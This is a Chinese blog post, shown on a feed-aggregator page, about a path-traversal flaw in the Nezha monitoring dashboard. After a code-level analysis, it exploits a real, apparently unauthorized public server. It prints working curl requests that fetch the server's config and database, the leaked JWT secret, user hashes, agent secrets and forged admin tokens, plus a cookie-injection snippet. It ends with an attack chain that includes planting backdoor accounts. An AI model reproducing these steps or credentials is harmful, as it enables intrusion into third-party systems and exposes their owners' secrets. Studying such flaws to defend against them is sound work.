惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Darknet – Hacking Tools, Hacker News & Cyber Security
V
Vulnerabilities – Threatpost
Cloudbric
Cloudbric
G
GRAHAM CLULEY
S
Securelist
Schneier on Security
Schneier on Security
Help Net Security
Help Net Security
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Project Zero
Project Zero
Spread Privacy
Spread Privacy
P
Privacy International News Feed
C
Cyber Attacks, Cyber Crime and Cyber Security
Cisco Talos Blog
Cisco Talos Blog
T
Tailwind CSS Blog
博客园_首页
有赞技术团队
有赞技术团队
Simon Willison's Weblog
Simon Willison's Weblog
Stack Overflow Blog
Stack Overflow Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Latest news
Latest news
T
Tor Project blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Attack and Defense Labs
Attack and Defense Labs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
O
OpenAI News
J
Java Code Geeks
T
Tenable Blog
K
Kaspersky official blog
AWS News Blog
AWS News Blog
S
Security @ Cisco Blogs
The GitHub Blog
The GitHub Blog
T
Threatpost
月光博客
月光博客
H
Heimdal Security Blog
Security Latest
Security Latest
The Hacker News
The Hacker News
Y
Y Combinator Blog
A
Arctic Wolf
Apple Machine Learning Research
Apple Machine Learning Research
C
Cisco Blogs
美团技术团队
Microsoft Security Blog
Microsoft Security Blog
Hugging Face - Blog
Hugging Face - Blog
T
The Blog of Author Tim Ferriss
C
CERT Recently Published Vulnerability Notes
D
Docker
Google Online Security Blog
Google Online Security Blog
D
DataBreaches.Net
V
Visual Studio Blog
H
Help Net Security

玄外之音

避坑野草云:200M 回国优质带宽, 实际回国不到 3M 哪吒监控Dashboard路径漏洞实战测试 哪吒监控终端 404 故障复盘 哪吒监控终端 404 故障复盘 一文看懂常见防火墙阻断技术与 DNS 污染 一文看懂常见防火墙阻断技术与 DNS 污染 狐蒂云(szhdy.com)崩盘始末完整深度复盘 狐蒂云(szhdy.com)崩盘始末完整深度复盘 规则的废墟:谁在谋杀契约精神 规则的废墟:谁在谋杀契约精神 那个发光的 IP 那个发光的 IP AI 放大能力,也放大愚蠢 AI 放大能力,也放大愚蠢 永久白嫖Cloudfire Pro 或 Business 永久白嫖Cloudfire Pro 或 Business 互联网深处的隐秘病房 互联网深处的隐秘病房 为什么外来之声愈发悦耳,内部却为何屡遭质疑? 特权的悖论:当我也站在“专用通道”前
哪吒监控Dashboard路径漏洞实战测试
玄外之音 · 2026-06-17 · via 玄外之音

📌 写在前面

哪吒监控官方发布了一则重磅安全公告(GHSA-5c25-7vpj-9mqh),披露了一个无需任何认证即可读取任意文件的高危路径遍历漏洞。作为运维监控领域的常用工具,其影响面不容小觑。

本着"知己知彼"的安全理念,我决定对该漏洞进行完整的分析与验证。本文将完整记录从漏洞原理分析到实战验证的全过程,希望能为运维同仁提供防御参考。


一、漏洞全景概览

1.1 核心信息速览

项目 详情
漏洞编号 GHSA-5c25-7vpj-9mqh
影响组件 github.com/nezhahq/nezha (哪吒监控Dashboard)
漏洞类型 路径遍历 (Path Traversal)
危险等级 🔴 高危
攻击门槛 极低 —— 无需任何认证,一次GET请求即可
影响版本 所有未修复的旧版部署

1.2 漏洞本质

哪吒监控Dashboard的 NoRoute 处理器在处理 /dashboard 路径请求时,采用 strings.HasPrefix 进行简单的前缀匹配,未对路径进行严格的段校验。攻击者可精心构造特制URL,巧妙绕过 http.ServeFile 内置的路径遍历防护机制,实现服务器任意文件的读取。

一句话总结:这是一个因字符串匹配逻辑缺陷而引发的文件读取漏洞,且无需任何凭证即可触发。


二、漏洞原理 · 深入拆解

2.1 问题代码定位

漏洞核心存在于 cmd/dashboard/controller/controller.go

// 存在缺陷的代码逻辑(版本 @ 636f4a9)
fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
    if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
        return
    }
}

func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
    checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
        if _, err := os.Stat(path); err == nil {
            http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
            return true
        }
    }
}

2.2 攻击向量对比表

请求URL TrimPrefix结果 path.Join结果 是否绕过 结果
/dashboard/login /login admin-dist/login 正常访问
/dashboard/../data/config.yaml /../data/config.yaml data/config.yaml ✅ 被Go拦截 400 Bad Request
/dashboard../data/config.yaml ../data/config.yaml data/config.yaml 绕过成功 读取任意文件
/dashboard%2e%2e/data/config.yaml ../data/config.yaml (解码后) data/config.yaml 绕过成功 读取任意文件
/dashboard..%2fdata/config.yaml ../data/config.yaml (解码后) data/config.yaml 绕过成功 读取任意文件

2.3 绕过逻辑可视化

攻击Payload构造流程:

正常请求: /dashboard/login
         ↓ strings.HasPrefix → True
         ↓ strings.TrimPrefix → /login
         ↓ path.Join → admin-dist/login
         ↓ 返回 admin-dist/login ✅

攻击请求: /dashboard../data/config.yaml
         ↓ strings.HasPrefix → True (注意:/dashboard.. 仍然以 /dashboard 开头)
         ↓ strings.TrimPrefix → ../data/config.yaml
         ↓ path.Join → data/config.yaml (路径穿越成功)
         ↓ os.Stat → 文件存在
         ↓ http.ServeFile → 返回文件内容 🚨

为什么 /dashboard/../data/config.yaml 被拦截?
         ↓ 包含独立 ".." 段 → http.ServeFile 内置防护触发 → 400 Bad Request

为什么 /dashboard../data/config.yaml 成功?
         ↓ 第一个URL段是单个 token "dashboard.." → 没有独立 ".." 段
         ↓ 标准库防护不触发 → 路径穿越在 TrimPrefix 后才出现 → 成功读取

关键绕过点拆解:

  1. 前缀检查缺陷strings.HasPrefix 仅进行字符串前缀匹配,/dashboard/dashboard.. 均被视为有效
  2. 清理时机错位path.JoinTrimPrefix 之后执行,此时 .. 已被成功引入路径
  3. 标准库防护盲区http.ServeFile 仅检查URL路径中的独立 .. 段(即被 / 包围的 ..),而 dashboard.. 中的 .. 是第一个段的一部分,不会被识别为威胁
  4. 缺少根目录锚定:代码在 path.Join 后未检查结果是否仍在 admin-dist 目录内

三、实战测试

3.1 信息侦查

资产发现

语法: title=“Nezha” && port=“8008”

扫到了了41631个面板,看了下大部分都更新最新版了,但是还是有很多头铁的。

找了半天才找到了一个没鸡的面板:http://103.215.48.166:8008

3.2 漏洞验证

步骤一:探测路径遍历漏洞

curl -v --path-as-is 'http://103.215.48.166:8008/dashboard../data/config.yaml'

服务器响应

HTTP/1.1 200 OK
Content-Type: application/yaml
Content-Length: 5523

debug: false
listen_port: 8008
language: zh_CN
jwt_secret_key: rxLGg4gNLJEhRKA0oBOKBoGCaoqkdNW2R8OhLXu2XOZqKsWZy0iF5u4WXBl9zfeeFk3VaSVzYiL1rem8FD6lA8aMttCOmE7m6D5SogIiW58VF5h6rdvTIhQpoy4qel2XED3mcAU7uvZIWIdCDYfKPmSD7VwCR2T1D2HoVCerfG3uk7KqpIekcausnq7abpGrVSBTVHEs9OLnXnkBwKbmMllSJhbd3W43Ckn6IJHrZDBhKi0nFxQHlX6I9V1eZy3Iau8bDkCUmP9eBLW40oniZIkXzwUSRTERxVC5fdBglbWYUdGxY97xGMoVv0PlEtxP1tsL9Qy783c292IjErBYc9KP5w3NXYz4oc4JL5Q9AKEIzP6VEbcb42ueUsJw457486jiBplPILVCwqF3hdUI9K4Hx4s0g0BUT24zTCEt3BXmDH7FoueVYxnqWnUujgYbtWOxUEJ2MM6gmAGec38sJzLWPxCpzvNjOuSoth4WRI9CRTzta0242JwO2k7zbcPSk6aYMz79fA7LzScnVbLQqLevc6XQlvpfVbkCCUP4sz3vVJt992QFVnoJ0dCVfumVPFsIdPj29YfJxqgvVJK6YMIVZYbhtst4Xg5l7MNYjImMtddoaVsmzAmNwSD5qenmMtnunKSOWDJCshhoCy8kbbaTpSccLGOeUXtxDtKFaUr11moJcdqi2Wqe1wgP3LzrHJocjnP5IMaamG30WJZWqyDwIqJqs56PtNEVnRiyF2rFiwvJpmtMZKFkXzdPzoNt2QIEdsGX0utcslrM84E6RQtAPlobaRAM0mxYFft7UC3XGzht5ziTqs9DasM13Tf7jYOn2hveEZE2yyqLNn9CddcOjgUFobqtwaoBmldRXUoxmZkRMSKFqdTbG52exCSCHcf0RGR2Z0SGSRM2tFUqBDD3nUQv5zkg5cAUqncKZFgY1nbp4NcKuMW5XgfGCTyfDk0bOLy91Ak4m6X9nNJHbPlBT1SFdibjDo9Kkhrqu3UF9b2HeoJYTluTDv6Yl03j

成功获取配置文件 —— JWT密钥与Agent密钥全部暴露!

3.3 深入利用

步骤二:下载数据库文件

curl --path-as-is 'http://103.215.48.166:8008/dashboard../data/sqlite.db' -o sqlite.db

成功下载约5MB的 sqlite.db 文件。

步骤三:数据库信息提取

sqlite3 sqlite.db "SELECT id, username, role FROM users;"

令人震惊的结果

image

⚠️ 发现异常

  • 默认 admin 账户仍然存在且未修改密码但是我们本次是测试利用Cookie实现登录,所以就当admin不存在。
  • 存在大量随机名称的管理员账户(疑似已被多次入侵的痕迹)

步骤四:通过数据库生成token



[*] 启动全量信息审计: http://103.215.48.166:8008

[+] 密钥获取成功: rxLGg4gNLJEhRKA0oBOKBoGCaoqkdNW2R8OhLXu2XOZqKsWZy0iF5u4WXBl9zfeeFk3VaSVzYiL1rem8FD6lA8aMttCOmE7m6D5SogIiW58VF5h6rdvTIhQpoy4qel2XED3mcAU7uvZIWIdCDYfKPmSD7VwCR2T1D2HoVCerfG3uk7KqpIekcausnq7abpGrVSBTVHEs9OLnXnkBwKbmMllSJhbd3W43Ckn6IJHrZDBhKi0nFxQHlX6I9V1eZy3Iau8bDkCUmP9eBLW40oniZIkXzwUSRTERxVC5fdBglbWYUdGxY97xGMoVv0PlEtxP1tsL9Qy783c292IjErBYc9KP5w3NXYz4oc4JL5Q9AKEIzP6VEbcb42ueUsJw457486jiBplPILVCwqF3hdUI9K4Hx4s0g0BUT24zTCEt3BXmDH7FoueVYxnqWnUujgYbtWOxUEJ2MM6gmAGec38sJzLWPxCpzvNjOuSoth4WRI9CRTzta0242JwO2k7zbcPSk6aYMz79fA7LzScnVbLQqLevc6XQlvpfVbkCCUP4sz3VvJt992QFVnoJ0dCVfumVPFsIdPj29YfJxqgvVJK6YMIVZYbhtst4Xg5l7MNYjImMtddoaVsmzAmNwSD5qenmMtnunKSOWDJCshhoCy8kbbaTpSccLGOeUXtxDtKFaUr11moJcdqi2Wqe1wgP3LzrHJocjnP5IMaamG30WJZWqyDwIqJqs56PtNEVnRiyF2rFiwvJpmtMZKFkXzdPzoNt2QIEdsGX0utcslrM84E6RQtAPlobaRAM0mxYFft7UC3XGzht5ziTqs9DasM13Tf7jYOn2hveEZE2yyqLNn9CddcOjgUFobqtwaoBmldRXUoxmZkRMSKFqdTbG52exCSCHcf0RGR2Z0SGSRM2tFUqBDD3nUQv5zkg5cAUqncKZFgY1nbp4NcKuMW5XgfGCTyfDk0bOLy91Ak4m6X9nNJHbPlBT1SFdibjDo9Kkhrqu3UF9b2HeoJYTluTDv6Yl03j

[+] 数据库扫描完成,发现 17 条记录
================================================================================
{
    "id": 1,
    "created_at": "2025-03-13 00:39:59.546561425+08:00",
    "updated_at": "2025-03-13 00:39:59.546561425+08:00",
    "user_id": 0,
    "username": "admin",
    "password": "$2a$10$zt9F232//AeFE356fn/g7.biT8/KTPDqa6Ux93WCQln96v5PSoMEa",
    "role": 0,
    "agent_secret": "umR8aq50HkdXSgoybOOc2ohjxNvjjVDp",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxIn0.OiwhPNeKjsAMujVcTSDhXMOm10kdh6HE0RkiIU9-S-g",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "1"
    }
}
--------------------------------------------------------------------------------
{
    "id": 2,
    "created_at": "2026-05-26 09:38:16.355351921+08:00",
    "updated_at": "2026-05-26 09:38:16.355351921+08:00",
    "user_id": 0,
    "username": "xiaofeng",
    "password": "$2a$10$H.BBoIxllGtZ.igZgJa96OHI4Yaic06XmpL/bQcPUyhlEvMP1vbby",
    "role": 0,
    "agent_secret": "pgiNY4RspBh0Fl12e9xyPxSSlP3bniWq",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIyIn0.hsvigFknlORQJXKDGVjfkrrR7uOnryDCTT9axQTMc0U",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "2"
    }
}
--------------------------------------------------------------------------------
{
    "id": 3,
    "created_at": "2026-05-28 11:01:21.692301859+08:00",
    "updated_at": "2026-05-28 11:01:21.692301859+08:00",
    "user_id": 0,
    "username": "system",
    "password": "$2a$10$2gfLVcq8F3SrC6/PH/3m3u/LEmSF.6vi6o.LfweA1vvMCOK0hPFTm",
    "role": 0,
    "agent_secret": "UJxn31u09dr9nVzLuN6qmN7INAhffyvU",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIzIn0._HXWVcrEwQecJz-mJaLVOXNe4iDWZHkeacH5uO_-KYg",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "3"
    }
}
--------------------------------------------------------------------------------
{
    "id": 4,
    "created_at": "2026-06-17 16:22:42.29219538+08:00",
    "updated_at": "2026-06-17 16:22:42.29219538+08:00",
    "user_id": 0,
    "username": "adm_vffarbmb",
    "password": "$2a$10$aCDw7w4KTM0Ml3JkI2Qpp.eVIIBjRWJGtAzCWXxFb2lN.i9D15j9.",
    "role": 0,
    "agent_secret": "LeBHjnwoCjYbwKSABILbNeFHVtOhEJAa",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI0In0.A86sGmlMtec5txD0K6GPlJbxw-7eWn2DqVHZ0rNX3G4",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "4"
    }
}
--------------------------------------------------------------------------------
{
    "id": 5,
    "created_at": "2026-06-17 16:32:41.508204087+08:00",
    "updated_at": "2026-06-17 16:32:41.508204087+08:00",
    "user_id": 0,
    "username": "adm_dsesavvc",
    "password": "$2a$10$AkNmgpUdz7u/VIuRe928cOSuVRQNxiOzFl7pFqSjF0X5WLzBDMkEW",
    "role": 0,
    "agent_secret": "Feiz07rduRQT9bRfdAFDpPJSMzbykWaA",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI1In0.kgpMBpWb28P19AbhXtWBHzWLSH9HN2suXoPa4HsR0xg",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "5"
    }
}
--------------------------------------------------------------------------------
{
    "id": 6,
    "created_at": "2026-06-17 16:42:30.013210077+08:00",
    "updated_at": "2026-06-17 16:42:30.013210077+08:00",
    "user_id": 0,
    "username": "adm_s/stwvkg",
    "password": "$2a$10$Td5Hh0fIG4OAPnKAfnabVO2Adp.b03jAZvVdOe3rDvufXI8f9Gioe",
    "role": 0,
    "agent_secret": "ClIY93yLMxrIErvu57TOw81XkmbZy7Ve",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI2In0.Z0PyaKpb64sPl359LEGPDd_tfg3mCNxgFdvUSw9z1UQ",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "6"
    }
}
--------------------------------------------------------------------------------
{
    "id": 7,
    "created_at": "2026-06-17 16:43:25.280544243+08:00",
    "updated_at": "2026-06-17 16:43:25.280544243+08:00",
    "user_id": 0,
    "username": "adm_fr4dy7/x",
    "password": "$2a$10$lqcMvxYeQbqXQG4HenYX3eNVzJS5DlL9GF3GhugVTny5VPGp5eqZu",
    "role": 0,
    "agent_secret": "OZeG3hd3A9NX6jfR8emmYE14xRIgxeNP",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI3In0.H4YyakulFmqqIGcxub11ulB0833Wmei-4bg9aSLyQwc",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "7"
    }
}
--------------------------------------------------------------------------------
{
    "id": 8,
    "created_at": "2026-06-17 16:43:50.711328546+08:00",
    "updated_at": "2026-06-17 16:43:50.711328546+08:00",
    "user_id": 0,
    "username": "adm_qha+o3pg",
    "password": "$2a$10$8nqh6A0YXOaVLLXtEWv3TO8rUzBVj2CJXzx1uE7NvN7nppAqiw5by",
    "role": 0,
    "agent_secret": "eKVlwyjbTFx8wHy7JpqUNwOFdfJJdspw",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI4In0.kWKoEP7Mo4a5DaUsDRdr8bSGBBSOtJtjbjWcWMaVsr4",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "8"
    }
}
--------------------------------------------------------------------------------
{
    "id": 9,
    "created_at": "2026-06-17 16:44:49.809216891+08:00",
    "updated_at": "2026-06-17 16:44:49.809216891+08:00",
    "user_id": 0,
    "username": "adm_2+lrtv3+",
    "password": "$2a$10$VYLx1MknA.8kPSa/oPwMq.KBerNAeoD0mTl/enUp26w3LPVOVGUQe",
    "role": 0,
    "agent_secret": "Msc8Y6u6Xaz4F9sZREJt8riAtnWD4btb",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI5In0.AYhWKfnW7jFltMyvFQSzgc6Jghe4dEdwt7kWy1az2b8",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "9"
    }
}
--------------------------------------------------------------------------------
{
    "id": 10,
    "created_at": "2026-06-17 16:44:52.099865105+08:00",
    "updated_at": "2026-06-17 16:44:52.099865105+08:00",
    "user_id": 0,
    "username": "adm_xxwiuzec",
    "password": "$2a$10$47mgrvgGi/48K95ZJokxsOeFxhhTfFZbLvx5B2v6l45PJmlJc8Bbm",
    "role": 0,
    "agent_secret": "bNZnTyYMQNhnviu2Nd9pPboAvu9vs0dR",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMCJ9.5jjKN3oZcANxKmftanwVet_s8Ctoid7hyM8acEQ1f10",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "10"
    }
}
--------------------------------------------------------------------------------
{
    "id": 11,
    "created_at": "2026-06-17 16:45:00.548958044+08:00",
    "updated_at": "2026-06-17 16:45:00.548958044+08:00",
    "user_id": 0,
    "username": "adm_luqs0mhf",
    "password": "$2a$10$GV/SaPap9O8625MslzOZneR00k4XMv3MEVZzLJ.JJkcNwnA6QOC/y",
    "role": 0,
    "agent_secret": "4iQjvUrWOZFHZtiag99hKmW1RdOp2GOJ",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMSJ9.iPmTCypteEQdnylOBS53s2dygavGjVdvoOTweciOf1w",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "11"
    }
}
--------------------------------------------------------------------------------
{
    "id": 12,
    "created_at": "2026-06-17 16:45:50.342881451+08:00",
    "updated_at": "2026-06-17 16:45:50.342881451+08:00",
    "user_id": 0,
    "username": "adm_ambw/x5z",
    "password": "$2a$10$65BkWEgpEGMfEOHVRcYyO.Mu/LiM/ri/qosX2GMk23ZBvr88MBurm",
    "role": 0,
    "agent_secret": "EDNCjDWaJpei2WTeT1f7tfwzmHzssDjW",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMiJ9.F_XNPYDngyAmwtwXVMQYVhawo4lHuOYPbXg1IjlHRZA",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "12"
    }
}
--------------------------------------------------------------------------------
{
    "id": 13,
    "created_at": "2026-06-17 16:45:58.616923303+08:00",
    "updated_at": "2026-06-17 16:45:58.616923303+08:00",
    "user_id": 0,
    "username": "adm_mqqd+h4+",
    "password": "$2a$10$r5G4fmA45.NwPLK/3Q2Cee9THsaPz3PRFpS1SrS55ESo3Ma8WEMUS",
    "role": 0,
    "agent_secret": "lBd60hS9NcJA8GQRSaKQg0cuJmf8Nr8c",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMyJ9.t86W6mjLG13DVhuCOWbGcRGNjW_2HrNtdQ0ioWs2NB8",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "13"
    }
}
--------------------------------------------------------------------------------
{
    "id": 14,
    "created_at": "2026-06-17 16:46:20.91443534+08:00",
    "updated_at": "2026-06-17 16:46:20.91443534+08:00",
    "user_id": 0,
    "username": "adm_ieu8o3ep",
    "password": "$2a$10$PCVilyjeV8k3qlo8xvt.AO1PyVUGIQ443YVO4iuxh9i5GN1wKFYtK",
    "role": 0,
    "agent_secret": "SPjMlLPZCDW5pz1nksVNi50tU5v0ErJw",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNCJ9.flg9JQyX1WJEb0kiqKAF2ACDoXm3b_sE_pdsJ5z_Tyc",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "14"
    }
}
--------------------------------------------------------------------------------
{
    "id": 15,
    "created_at": "2026-06-17 16:46:36.358966921+08:00",
    "updated_at": "2026-06-17 16:46:36.358966921+08:00",
    "user_id": 0,
    "username": "adm_dwjr41v3",
    "password": "$2a$10$oH4AF7gF/zQVqN1AjH8hduSGkKU4BYCm9lhj3YlJSpEr96sfNUkt.",
    "role": 0,
    "agent_secret": "Fw7zysg2wnTPAAtboU9fi0MHColF7QVV",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNSJ9.zo7YmYzhrOI3pjku_QVJPjkwECfc2I28Rkbmw6zHvg8",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "15"
    }
}
--------------------------------------------------------------------------------
{
    "id": 16,
    "created_at": "2026-06-17 16:46:58.459501326+08:00",
    "updated_at": "2026-06-17 16:46:58.459501326+08:00",
    "user_id": 0,
    "username": "adm_wyc7dear",
    "password": "$2a$10$23Jd93T5SIaerBFhffviMenmim.SI5/8JZenmAojbE9IiPp1vmFQq",
    "role": 0,
    "agent_secret": "usXVZkMWe8wfFYhZR8Tzm4saA2c6i32D",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNiJ9.dnUz7p5-Tk2DFc3bUEk_59mqX3COFujfnS82WHsCG0E",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "16"
    }
}
--------------------------------------------------------------------------------
{
    "id": 17,
    "created_at": "2026-06-17 16:48:17.49098282+08:00",
    "updated_at": "2026-06-17 16:48:17.49098282+08:00",
    "user_id": 0,
    "username": "adm_2fr/p2fo",
    "password": "$2a$10$lnc8nHdjvIOs/HH2Lo7vHOYhtVDKyrpXvp7Ya/7rzpVEOLNXzuC8m",
    "role": 0,
    "agent_secret": "bTu3BZfdTnFykPO4OASKZpoJt24lYvAw",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNyJ9.npVsCyDkH1YOeMZqaWVPd4zYUnH0LOVn-nT0qeCCJsQ",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "17"
    }
}
--------------------------------------------------------------------------------

## 执行结束... 2026-06-17 17:09:52  耗时 8 秒   

3.4 注入测试

通过生成的 generated_token 在浏览器修改Cookie发现直接成功了,下方测试数据的通过数据库id:8的管理员生成的generated_token。

方式一:浏览器控制台一键注入

(function() {
    const TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI4In0.kWKoEP7Mo4a5DaUsDRdr8bSGBBSOtJtjbjWcWMaVsr4";
    document.cookie = "nz-jwt=" + TOKEN + "; path=/; max-age=86400; SameSite=Lax";
    console.log("[+] Cookie注入成功!刷新页面即可进入后台");
})();

方式二:开发者工具Application面板

  1. F12 打开开发者工具
  2. 切换到 ApplicationCookieshttp://103.215.48.166:8008
  3. 添加新Cookie:
    • Name: nz-jwt
    • Value: [上述Token]
    • Path: /
  4. 刷新页面

四、完整攻击链复盘

第一阶段:信息搜集
    ├── FOFA/Shodan 搜索暴露资产
    └── 确认目标版本特征

第二阶段:漏洞利用(两次GET请求即可完成)
    ├── GET /dashboard../data/config.yaml → 获取 jwt_secret_key
    └── GET /dashboard../data/sqlite.db → 获取用户列表

第三阶段:权限获取(两条路径)
    ├── 路径A:直接使用数据库中的预生成JWT Token
    │   └── 注入Cookie → 登录后台
    └── 路径B:使用jwt_secret_key伪造新Token(更隐蔽)
        └── 伪造任意用户JWT → 注入Cookie → 登录后台

第四阶段:权限维持
    ├── 创建后门管理员账户
    ├── 修改系统配置参数
    └── 长期隐蔽留存

五、影响与危害评估

5.1 官方公告确认的影响范围

根据GitHub安全公告,该漏洞可导致:

文件 默认路径 泄露内容 严重程度
data/config.yaml -c 标志默认值 JWT签名密钥(HS256)、Agent密钥、OAuth2客户端密钥、GitHub Release Token、GeoIP API密钥 🔴 严重
data/sqlite.db -db 标志默认值 完整数据库:用户(含管理员)、bcrypt密码哈希、服务器注册信息、API令牌、通知配置 🔴 严重

5.2 完整接管路径(已由官方验证)

“The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.”

从公开的配置文件到完全的管理员权限接管,仅需:

  • 2次 未认证HTTP请求
  • 1次 JWT签名操作
  • 无需 任何用户交互或特殊时机

5.3 本次发现的严重问题

目标站点存在的安全隐患远超预期:

  1. 默认账户未清理admin 账户仍存在且密码未修改
  2. 多次入侵痕迹:存在大量 adm_* 格式的随机管理员账户
  3. 预生成Token残留:数据库中保留着可直接使用的JWT
  4. 管理面板暴露公网:未做任何访问控制

该站点显然已被多次入侵,但仍未被运维团队察觉。


📚 附录

A. 参考资源

